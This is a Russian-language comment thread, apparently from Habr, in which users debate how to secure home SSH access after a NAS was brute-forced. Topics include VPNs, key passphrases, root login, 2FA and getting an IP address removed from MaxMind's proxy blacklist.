                                                                            У меня попросту не возникнет такой ситуации, что СРОЧНО нужно зайти на домашний компьютер. Потому что ноут всегда с собой. А если я недоступен… То недоступен. С тем же успехом там где Вы находитесь может вообще оказаться мобильного интернета или бесплатного вайфай.
                                                                            Я уж не говорю о том, что домашний компьютер напрямую по ссш из интернета — дичь какая-то. У меня так вообще дома сейчас прямого внешнего айпи нет… И я еще 10 раз подумаю — стоит ли провайдеру за него доплачивать.
                                                                            Ну, и если очень надо — родственники дома есть…
                                                                            Так что какой-то странный кейс.

                                                                              0
                                                                              Некоторые работают дома, и у них на домашнем компе (сервере) всё что имеет отношение к работе (при этом не всё можно и нужно носить на ноуте), так что доступ нужен на случай выезда.

                                                                              При нормальном подходе нет никакой разницы — дома комп или на работе, меры по защите одинаковые, дома даже проще обеспечить безопасность, ибо в офисе обычно больше лиц с непонятным уровнем доверия (приходящие курьеры, ремонтники, уборщики etc).
                                                                                +1

                                                                                Три буквы: V P N

                                                                                  0

                                                                                  Опередили меня. Не вижу ни одной причины, почему если у человека есть ссш, то не перекатиться на ВПН.

                                                                                    0
                                                                                    А я не вижу ни одной зачем перекатываться на VPN (если не нужен доступ ко всей сети) — с точки зрения безопасности VPN ничуть не лучше SSH с ключём или даже адекватным паролем, к тому же, с версии 4.3 он сам может выступать как VPN (через tun).

                                                                                    Если же говорить о потенциальных 0day-уязвимостях, то VPN от них тоже не застрахованы, и на них тоже долбятся.
                                                                                      0

                                                                                      Вероятность взлома и vpn, и ssh одновременно ниже, чем вероятность взлома одного лишь ssh. Ну, и вопрос в том — что мы подразумеваем под 0day — эскалацию до рута или просто обход аутентификации/авторизации.

                                                                                        +1
                                                                                        Что-то мне подказывает что уязвимость в sshd позволяющая вход без верного ключа будет стоить столько… что нам беспокоится о ней не надо. Я даже не уверен что Гугл о таком беспокоится.
                                                                                –2
                                                                                У меня попросту не возникнет такой ситуации

                                                                                Попытка съехать с темы опознана и пресечена. Возникает такая ситуация, возникает — у меня, например, постоянно. Возможно, потому, что у меня не windows. Или потому, что у меня телефон не помойка, на которую я тащу всё подряд, а карманный терминал.


                                                                                Потому что ноут всегда с собой.

                                                                                Предпочитаю не рисовать у себя на спине большую жирную мишень для грабителей.


                                                                                С тем же успехом там где Вы находитесь может вообще оказаться мобильного интернета или бесплатного вайфай.

                                                                                В Тимбукту я пока не ездил.


                                                                                Ну, и если очень надо — родственники дома есть

                                                                                "Что знают двое, знает и свинья".

                                                                                  0
                                                                                  Для ключа под паролем нестрашно иметь копию на внешнем хранилище доступном из интернетов.
                                                                                    –3

                                                                                    Но тогда возвращаемся к началу дискуссии: если ключ защищен паролем, то слабое звено в цепочке — опять же пароль. Это примерно как


                                                                                    Вот такая штука

                                                                                    image


                                                                                    — ключ от квартиры, где деньги лежат, кладётся в мини-сейф, защищённый всего лишь 4-значным кодом. При определённой сноровке взломщик может код подобрать.


                                                                                    — так зачем вобще нужно это лишнее звено?
                                                                                      +2

                                                                                      Копию ключа, нужную чуть чаще чем никогда, можно закрыть паролем любой длины.

                                                                                      0

                                                                                      Я тут статью вспоминаю про то что ключ зашифрованный паролем аналогичен ключу без пароля. Не знаю насколько она актуальна, но все же лучше этот ключ зашифровать дополнительно. https://habr.com/ru/company/wirex/blog/419829/

                                                                                        0

                                                                                        Там не технические доводы в статье, а больше — социальные.
                                                                                        В общем, с чем соглашусь — обычно шифрование ключа паролем бессмысленно и реально безопасности не добавляет.

                                                                                          0
                                                                                          … пока не украдут комп (или его диск) с ключами без пароля…
                                                                                            +2

                                                                                            Ноуты с tpm это удобно. Нативное прозрачное шифрование диска из коробки.


                                                                                            Телефоны аналогично. Любой нормальный телефон воровать бесполезно.

                                                                                              +1
                                                                                              Ноуты с tpm это удобно.
                                                                                              Не только ноуты. У больших братьев тоже есть, правда выключено в биосе по дефолту.
                                                                                              0

                                                                                              В случае кражи — там надо про FDE думать и удаленное стирание инфы (antitheft, computrace), а не про пароли на ключи

                                                                                        –1

                                                                                        Давайте честно — то что у меня не возникает такой проблемы — не означает, что у других ее нет. И верно обратное — то что у Вас какой-то специфичный кейс — не означает, что у остальных все так же.
                                                                                        Как этот надуманный пример с севшим телефон. В нынешнем мире вообще очень стрёмно с разряженным телефоном. Та же 2FA для облачных сервисов
                                                                                        Заходишь с нового места или устройства… И приплыли.
                                                                                        Я уж не говорю о том, что, да, действительно, для серьезных применений нужно, наверное, иметь несколько телефонов. Один — для Фейсбуков, контактиков, а второй — для банк-клиентов, ссш, и прочего нужного и важного.


                                                                                        По поводу впн вместо "голого" ссш домой коллеги высказались. Действительно, как ещё один уровень защиты — почему нет? И не нужно 'отмазываться', что у вас там роутера нет или провайдер блочит — все решаемо.

                                                                                          +1

                                                                                          "ещё один уровень защиты — почему нет? "


                                                                                          Ещё одна точка отказа — почему да?

                                                                                            –1

                                                                                            У вас точка отказа ровно одна — роутер, через который интернет заведен в квартиру. Что с впном, что без.

                                                                                              –1

                                                                                              Вот, допустим, по какой то причине упал VPN на этом вашем сервере. Диск переполнился внезапно, телеграмкомнадзор решил, что vpn без освященного им же сертификата быть негоже, 10050 причин может быть. Ваши действия? Дальняя дорога? Черный ход в обход VPN?

                                                                                                0

                                                                                                То же самое будет и для ssh. Кончилось место? Под непривилегированным пользователем тупо не залогиниться (на самом деле — там ещё много переменных, поэтому я не буду утверждать, что корелляция 100%). И?

                                                                                                  –1

                                                                                                  "То же самое будет и для ssh."


                                                                                                  Не совсем. Под root можно хотя бы попробовать залогиниться и разобраться с ситуацией.

                                                                                                    0

                                                                                                    Отличный бедпректис — оставлять рутовый доступ по ssh. Даже обсуждать не хочется.

                                                                                                      +1
                                                                                                      А в чём, собственно, проблема? Эту мантру все повторяют ещё со времен telnet, единственное весомое «против» — это то что случайно можно дел натворить, забыв что залогинился как рут, всё остальное потеряло смысл со времен изобретения ssh.

                                                                                                      Можете привести хоть один весомый аргумент «против» (не считая «случайно rm -rf /» и прочих глупостей из этой серии) для логина как рут с ключём?

                                                                                                      Вопрос не праздный, потому что нигде в обсуждениях вопроса «Почему нельзя логиниться как рут?» не приводят никаких аргументов (кроме уже упомянутого «случайно сделаете глупость» — но глупость можно сделать и в sudo).
                                                                                                        +1

                                                                                                        Из очевидных вещей:
                                                                                                        В многопользовательской среде сложнее определить, кто заходит под рутом — персонализированные учётки намного выгоднее и ими в каком-то смысле проще управлять, чем свалкой ключей у рута в authorized_keys.
                                                                                                        Второй аргумент в том, что если root включен, то надо подобрать только ключ/парольную фразу, а не пару имя пользователя+пароль/ключ.
                                                                                                        Третья история, как Вы верно заметили, не всегда нужны админские права — и тогда проще сразу ходить пол юзером, а не сразу под рутом. Про принцип наименьших привилегий ведь все слышали?
                                                                                                        Дальше думать надо )

                                                                                                          +1
                                                                                                          Это всё валидные аргументы, но всё же из той же серии — «как бы чего не вышло».

                                                                                                          Если мне нужно что-то сделать как рут (а в большинстве случаев это так и есть) — я логинюсь сразу как рут, в почти всех системам мне там делать нечего как обычному пользователю. Поскольку я делаю это исключительно со своего компа или vpn (как и мои коллеги) — то выяснить кто там был — не проблема (но это бывает нужно чуть чаще чем никогда).

                                                                                                          По поводу подбора я уже не раз высказался выше — хороший пароль или ключ эту проблему решают, особенно если сервер не смотрит в мир.

                                                                                                          Разумеется, там где у меня есть свой аккаунт, и когда мне не нужны админские права, я не логинюсь и не работаю как рут, но это всего пара моих собственных систем — остальные — клиентские (причем клиенты, как правило, не имеют рутовских прав).

                                                                                                          Это просто иллюстрация того что bad practice не всегда bad — всё зависит от конкретных условий. Могу лишь заметить что за 20 с лишним лет это не привело ни к каким проблемам — ни у меня, ни у коллег, ни у клиентов.
                                                                                                            +1

                                                                                                            Любая катастрофа — это совокупность факторов и обстоятельств. Возможность доступа к руту по ссш — может быть таковым фактором, а может не быть.

                                                                                                            +2

                                                                                                            "если root включен, то надо подобрать только ключ/парольную фразу"


                                                                                                            Всего лишь подобрать ключ. Думаю, есть способы быстрее и дешевле. Например, купить датацентр вместе с сервером, куда нужно получить доступ. :D

                                                                                                              +1
                                                                                                              Второй аргумент в том, что если root включен, то надо подобрать только ключ/парольную фразу, а не пару имя пользователя+пароль/ключ.

                                                                                                              А по-нормальному — надо подобрать логин юзера + аутентификацию юзера + пароль su (подбор которого можно начать только после того, как первые два фактора уже сломаны и не для любого, а для wheel-аккаунта).
                                                                                                              В случае в логином юзера по ключу третьим фактором может быть пароль sudo (который не подойдёт в качестве второго по причине запрета логина по паролю).

                                                                                                                0
                                                                                                                надо подобрать логин юзера

                                                                                                                Не надо. Это публичная информация. Если даже у вас не так, то лучше все равно исходить из того что логин все знают. Он нигде особо не скрывается.

                                                                                                                пароль su

                                                                                                                И эта часть не работает в реальной жизни. sudo по жизни без пароля для всех у кого права на него есть. Просто из соображений удобста. Люди не любят постоянно вводить сложные пароли, а от простых толка нет.
                                                                                                                  0

                                                                                                                  Вынужден согласиться с обоими пунктами. Но хочу заметить, что логин все-таки имеет чуточку больше энтропии, чем попросту фамилия-имя юзера (т.к. могут быть разные варианты + необходимость различения полных тезок, если у нас прям кровавый энтерпрайз).

                                                                                      +2
                                                                                      Хранить на телефоне ключи. Память телефона шифровать. Любопытных сотрудников аэропорта с требованием расшифровки посылать подальше (вежливо, «сам забыл пароль, приеду — придётся всё стирать и заново настраивать»). В те не столь многочисленные страны, где это не прокатит, въезжать с чистым телефоном без данных и предусматривать какой-то разовый механизм загрузки оных после въезда (тут уже можно придумывать варианты, как это реализовать — но это не повод менять обычный способ работы).
                                                                                    +2
                                                                                    Ну насчет ssh ключа, вполне возможно.
                                                                                      +1
                                                                                      пароль можно запомнить и ввести с клавиатуры
                                                                                      g2857z1KkOzi78qgtyzskhseO2KY20vwgJFyeEZe6nikmSTaty2ME0FawZgeOaez
                                                                                      Запомните? :-)

                                                                                      correct battery horse staple
                                                                                      Подбирается по словарю.
                                                                                        –1
                                                                                        Подбирается по словарю.

                                                                                        В английском языке около 1,4 миллиона слов — примем для простоты (c большим запасом), что ровно 210. Четыре слова (с сохранением порядка следования) — 240. Подбирайте!


                                                                                        Помогает также переключение языков — набирайте русские слова в английской раскладке (ghfdbkmyj kjiflm ,fnfhtz chrtgrf) — ещё несколько бит в сложность прямо с потолка (я надеюсь, что Вы умеете в слепой метод?)

                                                                                    –1
                                                                                    Не вижу ничего зазорного во входе по паролю, есть настроена 2fa
                                                                                      +4
                                                                                      Речь про Google Authenticator?

                                                                                      Неудобно (особенно если надо быстро несколько сессий на разных серверах открыть — утомишься переключаться на authenticator и обратно вводить коды).
                                                                                      Не позволяет использовать средства автоматизации, работающие по ssh (тот же ansible).
                                                                                      Не очень универсально (насколько я понимаю, реализовать это, скажем, на Микротике невозможно).
                                                                                      Не даёт очевидных преимуществ перед просто использованием ключа в плане защиты от атак.

                                                                                      Хотя, наверное, в ряде случаев есть смысл перестраховаться и делать ключ + 2FA. Например, если в сохранности ключей у тех, кому они раздаются, есть обоснованные сомнения.
                                                                                        +2
                                                                                        Не позволяет использовать средства автоматизации, работающие по ssh (тот же ansible).

                                                                                        ничто не мешает держать дополнительный ssh-сервер внутри периметра, который уже не будет закрыт 2fa(2fa на джамп-сервере или vpn). или, например, использовать ансибл в роли псевдоагента, т.е. на каждом хосте проливать локалхост ансиблом.

                                                                                        Не даёт очевидных преимуществ перед просто использованием ключа в плане защиты от атак.

                                                                                        в случае компрометации ключа можно получить моментально контроль над всеми хостами, где прописан ключ.
                                                                                        в случае с 2fa, слитые ключ или парольная фраза не такая уж и проблема, 2fa остаётся не скомпрометирован, можно неторопливо заменить пароль/ключ.

                                                                                        Не даёт очевидных преимуществ перед просто использованием ключа в плане защиты от атак.

                                                                                        даёт, например, ключ можно сфорвардить на зараженном сервере и получить доступ к другим хостам.

                                                                                        Например, если в сохранности ключей у тех, кому они раздаются, есть обоснованные сомнения.

                                                                                        напоровшись на зироудей в установленном софте даже человек, в котором нет сомнений, может запросто отдать свой ключ.

                                                                                        ps не пользую 2fa помимо работы(например, дома), но одобряю.
                                                                                          +1
                                                                                          Вообще да, в этом что-то есть. У меня единственный держатель ключей — это я сам, так что вопрос доверия не стоит, но сценариев утечки ключа можно придумать достаточно много.

                                                                                          Но хотелось бы в этом варианте компромисс между удобством и безопасностью всё же немного сдвинуть в сторону удобства. Отсюда вопрос — а никто не знает работающего рецепта настройки 2FA так, чтобы он использовался только для доступа с неизвестных IP-адресов, а для один раз авторизованных — в дальнейшем хватало просто ключа? Сделать два SSH-сервера: один с 2FA, а другой — с ограничением по IP, — очевидно, но тоже неудобно.
                                                                                            0

                                                                                            Насколько я помню — можно даже в рамках одного sshd_config делать разные группы хостов и, возможно, что назначать на них разные алгоритмы или параметры авторизации/аутентификации

                                                                                              0
                                                                                              Спасибо за наводку, надо погуглить. Если так можно — то написать скрипт, парсящий auth.log, чтобы добавлять один раз успешно авторизовавшиеся адреса в группу, которой не нужна 2FA, — дело простое.
                                                                                              0
                                                                                              Отсюда вопрос — а никто не знает работающего рецепта настройки 2FA так, чтобы он использовался только для доступа с неизвестных IP-адресов, а для один раз авторизованных — в дальнейшем хватало просто ключа?

                                                                                              Это поведение по умолчанию!
                                                                                              То есть если вы заходите не по ключу, то у вас спрашивают пароль и код, а если по ключу — ничего.
                                                                                                0
                                                                                                Речь шла про то, чтобы заходить всегда по ключу, но если адрес не входит в белый список и ранее ни разу не был авторизован с помощью 2FA — то дополнительно к ключу требовать код 2FA. Как защита от утечки ключа.
                                                                                            0
                                                                                            Есть такая вещь как требование безопасников. Если указали использовать составной пароль и выдали RSA-ключи значит будешь каждую консоль открывать ожидая смены RSA-пароля и если раз ошибся с вводом или не успел то опять ждать.
                                                                                              0
                                                                                              Ну тут статья изначально была про домашний NAS, так что я комментирую из предположения, что мы обсуждаем те случаи, когда мы сами себе политики безопасности определяем. Понятно, что если есть спущенный сверху стандарт, который не обсуждается — то как бы крив и неудобен он ни был, придётся соблюдать.
                                                                                          +6

                                                                                          Какие удивительные вещи происходят. Статья о том как кому-то сбрутили простой пасс и залили типовую малварь, но при этом с таким заголовком, как будто в ней проведено какое-то расследование мирового масштаба.
                                                                                          И комментарии под ней, на полном серьёзе что-то обсуждающие.
                                                                                          Надо мне наверно тоже написать статью о том как мне 12 лет назад подобрали ssh пароль "123" на пустом сервере и тоже что-то туда залили, и как я потом переустановил систему но уже не ставя таких паролей, может инвайт дадут.

                                                                                            +2
                                                                                            «Я зашел на NAS и первым делом посмотрел стоит ли на нем fail2ban и активирован ли ufw. Ни того ни другого я не обнаружил, а auth.log был внушительного размера.»

                                                                                            — я не сразу поверил, что это относится к своему собственному NAS, а не, скажем, соседа, который попросил разобраться с неполадкой.

                                                                                            А заголовок статьи огненный, конечно — «веерная атака на подсистему SSH» — это внушаетъ! Я вот купился, например, и даже прочитал до конца статьи, не веря, правда, своим глазам.
                                                                                              0
                                                                                              Ну при всей, мягко говоря, недальновидности автора, такой пост — прекрасный повод обсудить необходимые и достаточные меры защиты SSH-сервера и баланс между удобством и паранойей в данном вопросе. Что тут и происходит в комментах :)
                                                                                              +9
                                                                                              1. Скомпрометированная ОС не лечится, а уничтожается с переустановкой. Это тикающая бомба. Я могу столько всего на машину насадить, что замаетесь обнаруживать. И для отвода глаз наследить.

                                                                                              2. Или пароль с 2fa или ключи
                                                                                                +1
                                                                                                Скомпрометированная ОС не лечится, а уничтожается с переустановкой.
                                                                                                Но не следует торопиться с уничтожением.
                                                                                                Эта система становится интересна для анализа причин произошедшего и осознания своих ошибок в плоскости администрирования и настроек, чтоб в новой инсталяции не повторять глупостей.
                                                                                                  +3
                                                                                                  +1

                                                                                                  Добавлю только, что машинка тушится и клонится. А затем уже или потрошится файловая неактивной системы или изолируется от сети и потрошится активная система.

                                                                                                  Но в любом случае зараженная машина деактивируется и потом идет в расход.
                                                                                                +1
                                                                                                > Как защититься от подобных атак?
                                                                                                > Используйте безопасные пароли для всех системных пользователей

                                                                                                Очень странная рекомендация. Я бы предложил «запретите любой ssh вход по паролям. требуйте наличие надежного ключа».
                                                                                                  +1
                                                                                                  Я во всей статье не понял лишь одного, а на кой, простите, вы ваш nas засунули в dmz? Т.е. на мой взгляд проблема даже не в том, что словарный пароль на ssh и не выключен вход по паролю, а именно dmz.
                                                                                                    0

                                                                                                    Да тоже стало интересно, что именно заставило ТС засунуть нас в dmz.

                                                                                                      +1
                                                                                                      Ну если сервер светит голым 22 с паролем в интернет, то лучше его в дмз держать, конечно.
                                                                                                        0
                                                                                                        это не тот dmz, о котором вы подумали. это dmz в терминологии бытовых роутеров, просто перенаправление всего несматченного трафика на один айпи из домашней сети. т.е. отдельного изолированного сегмента сети в этом случае не создаётся.
                                                                                                      0
                                                                                                      Сегодня мой внешний IP был заблокирован в сервисе IVI с сообщением

                                                                                                      А зачем IVI делает такие блокировки?
                                                                                                        +1
                                                                                                        чтобы не накручивали просмотры ботами фильмам, очевидно.
                                                                                                          0
                                                                                                          Можно отключать только сам счетчик, а не сервис целиком.
                                                                                                            0
                                                                                                            так а за трафик и процессорное время кто будет платить? :)
                                                                                                          +3
                                                                                                          Чтобы через прокси/VPN/TOR не получали доступ к контенту из тех регионов, на которые не распространяются лицензионные соглашения с правообладателями. Не удивлюсь, если это требование таких лицензионных соглашений («принимать меры к недопущению… бла-бла-бла»), а не собственная инициатива кинотеатра.
                                                                                                          0
                                                                                                          на мой сервак пару лет назад тоже часто были атаки, подбирали пароль, тупо сменил порт и все прекратиловь, а так на 21 подключались и подбирали.
                                                                                                            0
                                                                                                            А можно все-таки выложить архивчик с директорией .lwp в публичное место?
                                                                                                              +2
                                                                                                              Заголовок звучит как страшный кликбейт, хотя по сути — пробрутфорсили плохой пароль.
                                                                                                                +3
                                                                                                                как снять с адреса черную метку?

                                                                                                                Два способа.
                                                                                                                1) Ленивый. Ничего не делать. MaxMind периодически сканирует все хосты интернета (ха!). Скорость не раскрывается, но она в целом приемлема. Как только повторно просканируют — удалят метку из своей базы, а далее все клиенты MaxMind (включая ivi) получат обновление, и — вуаля!
                                                                                                                2) Активный. Как уже было замечено в комментах — написать в поддержку MaxMind «Я устранил анонимный прокси, сделайте на мой IP (X.X.X.X) ускоренное сканирование». Они на такие просьбы обычно положительно реагируют. Дальше механика та же — скан, обновление БД.

                                                                                                                И есть ещё одна проблема: MaxMind бесплатно не показывает статус IP адреса. Но можно воспользоваться чем-то другим. Например, www.ipqualityscore.com/free-ip-lookup-proxy-vpn-test/lookup
                                                                                                                  +1
                                                                                                                  А как быть если на домашнем роутере приходится держать открытый VPN? Например для доступа к домашним компьютерам.
                                                                                                                    0
                                                                                                                    Опять-таки, MaxMind не разглашает алгоритм, но выглядит так, что персональные VPN они не маркируют. У меня вот на домашнем адресе есть VPN, но в чёрные списки не попал.
                                                                                                                  –4
                                                                                                                  Что в IT творится на сегодняшний день?!.. Модно стало залезть в дерьмо по собственной глупости, потом как-то костыльно-велосипедно решить это, а потом ещё и на конференции рассказать. Где остальные такие же в зале будут сидеть и хлопать восторгаясь.

                                                                                                                  Only users with full accounts can post comments. Log in, please.